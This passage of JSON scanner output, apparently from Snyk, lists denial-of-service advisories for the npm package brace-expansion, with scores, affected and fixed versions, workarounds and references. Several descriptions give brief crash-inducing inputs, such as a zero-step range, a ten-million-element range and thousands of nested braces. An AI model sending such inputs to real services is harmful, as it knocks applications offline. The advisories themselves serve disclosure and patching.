"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": 